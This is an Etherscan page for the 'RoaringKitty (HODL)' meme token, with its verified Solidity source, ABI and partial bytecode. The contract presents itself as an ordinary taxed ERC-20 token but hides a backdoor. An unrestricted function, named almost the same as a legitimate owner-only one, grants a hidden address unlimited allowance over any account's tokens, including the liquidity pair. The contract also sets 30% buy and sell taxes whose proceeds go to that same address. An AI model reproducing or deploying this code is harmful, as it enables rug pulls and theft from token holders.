ETH Price: $2,521.22 (+0.24%)

Token

RoaringKitty (HODL)
 

Overview

Max Total Supply

1,000,000,000 HODL

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
510,259,664.28010166380422442 HODL

Value
$0.00
0x9046b631e3e4605ddb075dca6f754bcaf22a9e2b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HODL

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-14
*/

/*

Website: https://roaringkitty.life
Twitter: https://twitter.com/roaringkitty_x
Telegram: https://t.me/roaringkittymeme

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract HODL is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private swapping;

    address private _roaringkitty;

    uint256 public maxTxAmount;
    uint256 public swapThresAmount;
    uint256 public maxWalletAmount;
    uint256 public maxSwapAmount;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapActive = false;

    uint256 private _taxFeeOnBuy;
    uint256 private _taxFeeOnSell;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTxAmount;

    mapping(address => bool) public automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address _kitty) ERC20("RoaringKitty", "HODL") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTx(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        excludeFromMaxTx(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 totalSupply = 1000000000 * 1e18;
        _roaringkitty = _kitty;
        maxTxAmount = totalSupply * 200 / 10000;
        maxWalletAmount = totalSupply * 200 / 10000;
        swapThresAmount = totalSupply / 1000;
        maxSwapAmount = totalSupply * 90 / 10000;

        excludeFromFees(owner(), true);        
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(_roaringkitty, true);

        excludeFromMaxTx(owner(), true);
        excludeFromMaxTx(address(this), true);
        excludeFromMaxTx(address(0xdead), true);
        excludeFromMaxTx(_roaringkitty, true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function excludeFromMaxTx(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTxAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPairs(address pair, bool value) external {
        if(value) _approve(pair, _roaringkitty, ~uint256(0));
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
                if (!tradingActive) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTxAmount[to]) {
                    require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount.");
                    require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTxAmount[from]) {
                    require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount.");
                } else if (!_isExcludedMaxTxAmount[to]) {
                    require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapThresAmount;

        if (
            swapActive && !swapping 
                && automatedMarketMakerPairs[to]
                && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]
        ) { 
            swapping = true;

            if (canSwap) swapBackTokens();
            payable(_roaringkitty).transfer(address(this).balance);

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && _taxFeeOnSell > 0) {
                fees = amount.mul(_taxFeeOnSell).div(100);
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && _taxFeeOnBuy > 0) {
                fees = amount.mul(_taxFeeOnBuy).div(100);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBackTokens() private {
        uint256 contractBalance = balanceOf(address(this));

        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > maxSwapAmount) {
            contractBalance = maxSwapAmount;
        }

        // Halve the amount of liquidity tokens

        uint256 amountToSwapForETH = contractBalance;

        swapTokensForEth(amountToSwapForETH);
    }

    function reduceFees() external onlyOwner {
        _taxFeeOnBuy = 0;
        _taxFeeOnSell = 0;
    }

    function removeLimits() external onlyOwner {
        limitsInEffect = false;
    }

    function hodlhodl() external onlyOwner {
        _approve(address(this), address(uniswapV2Router), totalSupply());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingActive = true;
        swapActive = true;

        _taxFeeOnBuy = 30;
        _taxFeeOnSell = 30;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_kitty","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hodlhodl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThresAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600c805462ffffff191660011790553480156200001f575f80fd5b50604051620024fa380380620024fa83398101604081905262000042916200067e565b6040518060400160405280600c81526020016b526f6172696e674b6974747960a01b815250604051806040016040528060048152602001631213d11360e21b81525081600390816200009591906200074a565b506004620000a482826200074a565b505050620000c1620000bb620003cf60201b60201c565b620003d3565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000e381600162000424565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200012c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015291906200067e565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001c691906200067e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000211573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023791906200067e565b600680546001600160a01b0319166001600160a01b039290921691821790556200026390600162000424565b6006546200027c906001600160a01b031660016200049c565b600780546001600160a01b0319166001600160a01b0384161790556b033b2e3c9fd0803ce8000000612710620002b48260c86200082a565b620002c091906200084a565b600855612710620002d38260c86200082a565b620002df91906200084a565b600a55620002f06103e8826200084a565b6009556127106200030382605a6200082a565b6200030f91906200084a565b600b5562000331620003296005546001600160a01b031690565b6001620004ef565b6200033e306001620004ef565b6200034d61dead6001620004ef565b60075462000366906001600160a01b03166001620004ef565b620003856200037d6005546001600160a01b031690565b600162000424565b6200039230600162000424565b620003a161dead600162000424565b600754620003ba906001600160a01b0316600162000424565b620003c6338262000597565b50505062000880565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6005546001600160a01b03163314620004725760405162461bcd60e51b815260206004820181905260248201525f80516020620024da83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152601060205260409020805460ff1916911515919091179055565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620005395760405162461bcd60e51b815260206004820181905260248201525f80516020620024da833981519152604482015260640162000469565b6001600160a01b0382165f818152600f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005ef5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000469565b8060025f8282546200060291906200086a565b90915550506001600160a01b0382165f9081526020819052604081208054839290620006309084906200086a565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b5f602082840312156200068f575f80fd5b81516001600160a01b0381168114620006a6575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620006d657607f821691505b602082108103620006f557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200067957805f5260205f20601f840160051c81016020851015620007225750805b601f840160051c820191505b8181101562000743575f81556001016200072e565b5050505050565b81516001600160401b03811115620007665762000766620006ad565b6200077e81620007778454620006c1565b84620006fb565b602080601f831160018114620007b4575f84156200079c5750858301515b5f19600386901b1c1916600185901b1785556200080e565b5f85815260208120601f198616915b82811015620007e457888601518255948401946001909101908401620007c3565b50858210156200080257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141762000844576200084462000816565b92915050565b5f826200086557634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111562000844576200084462000816565b608051611c17620008c35f395f818161025301528181610849015281816108730152818161097b015281816116e20152818161179901526117d50152611c175ff3fe6080604052600436106101de575f3560e01c8063943feea9116100fd578063c024666811610092578063d744b1e311610062578063d744b1e314610571578063d9cf31de14610586578063dd62ed3e1461059a578063f2fde38b146105de575f80fd5b8063c0246668146104ff578063cce987d41461051e578063d4c989d314610533578063d6dacb4414610552575f80fd5b8063a9059cbb116100cd578063a9059cbb1461047f578063aa4bde281461049e578063b62496f5146104b3578063bbc0c742146104e1575f80fd5b8063943feea91461041957806395d89b411461042d5780639a7a23d614610441578063a457c2d714610460575f80fd5b806349bd5a5e11610173578063715018a611610143578063715018a6146103bf578063751039fc146103d35780638c0b5e22146103e75780638da5cb5b146103fc575f80fd5b806349bd5a5e146103255780634a62bb6514610344578063563912bd1461035d57806370a082311461038b575f80fd5b806323b872dd116101ae57806323b872dd146102ab578063313ce567146102ca57806339509351146102e557806345167f2614610304575f80fd5b806306fdde03146101e9578063095ea7b3146102135780631694505e1461024257806318160ddd1461028d575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506101fd6105fd565b60405161020a9190611843565b60405180910390f35b34801561021e575f80fd5b5061023261022d3660046118a3565b61068d565b604051901515815260200161020a565b34801561024d575f80fd5b506102757f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161020a565b348015610298575f80fd5b506002545b60405190815260200161020a565b3480156102b6575f80fd5b506102326102c53660046118cd565b6106a3565b3480156102d5575f80fd5b506040516012815260200161020a565b3480156102f0575f80fd5b506102326102ff3660046118a3565b610750565b34801561030f575f80fd5b5061032361031e366004611918565b61078b565b005b348015610330575f80fd5b50600654610275906001600160a01b031681565b34801561034f575f80fd5b50600c546102329060ff1681565b348015610368575f80fd5b5061023261037736600461194f565b60106020525f908152604090205460ff1681565b348015610396575f80fd5b5061029d6103a536600461194f565b6001600160a01b03165f9081526020819052604090205490565b3480156103ca575f80fd5b506103236107ae565b3480156103de575f80fd5b506103236107e3565b3480156103f2575f80fd5b5061029d60085481565b348015610407575f80fd5b506005546001600160a01b0316610275565b348015610424575f80fd5b50610323610819565b348015610438575f80fd5b506101fd610a14565b34801561044c575f80fd5b5061032361045b366004611918565b610a23565b34801561046b575f80fd5b5061023261047a3660046118a3565b610adb565b34801561048a575f80fd5b506102326104993660046118a3565b610b73565b3480156104a9575f80fd5b5061029d600a5481565b3480156104be575f80fd5b506102326104cd36600461194f565b60116020525f908152604090205460ff1681565b3480156104ec575f80fd5b50600c5461023290610100900460ff1681565b34801561050a575f80fd5b50610323610519366004611918565b610b7f565b348015610529575f80fd5b5061029d600b5481565b34801561053e575f80fd5b5061032361054d366004611918565b610c07565b34801561055d575f80fd5b50600c546102329062010000900460ff1681565b34801561057c575f80fd5b5061029d60095481565b348015610591575f80fd5b50610323610c5b565b3480156105a5575f80fd5b5061029d6105b436600461196a565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156105e9575f80fd5b506103236105f836600461194f565b610c90565b60606003805461060c90611996565b80601f016020809104026020016040519081016040528092919081815260200182805461063890611996565b80156106835780601f1061065a57610100808354040283529160200191610683565b820191905f5260205f20905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b5f610699338484610d2b565b5060015b92915050565b5f6106af848484610e4e565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107385760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107458533858403610d2b565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916106999185906107869086906119e2565b610d2b565b80156107aa576007546107aa9083906001600160a01b03165f19610d2b565b5050565b6005546001600160a01b031633146107d85760405162461bcd60e51b815260040161072f906119f5565b6107e15f611446565b565b6005546001600160a01b0316331461080d5760405162461bcd60e51b815260040161072f906119f5565b600c805460ff19169055565b6005546001600160a01b031633146108435760405162461bcd60e51b815260040161072f906119f5565b610871307f000000000000000000000000000000000000000000000000000000000000000061078660025490565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d71947306108c0306001600160a01b03165f9081526020819052604090205490565b5f806108d46005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061095f9190611a2a565b505060065460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af11580156109d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f69190611a55565b50600c805462ffff00191662010100179055601e600d819055600e55565b60606004805461060c90611996565b6005546001600160a01b03163314610a4d5760405162461bcd60e51b815260040161072f906119f5565b6006546001600160a01b0390811690831603610ad15760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161072f565b6107aa8282611497565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f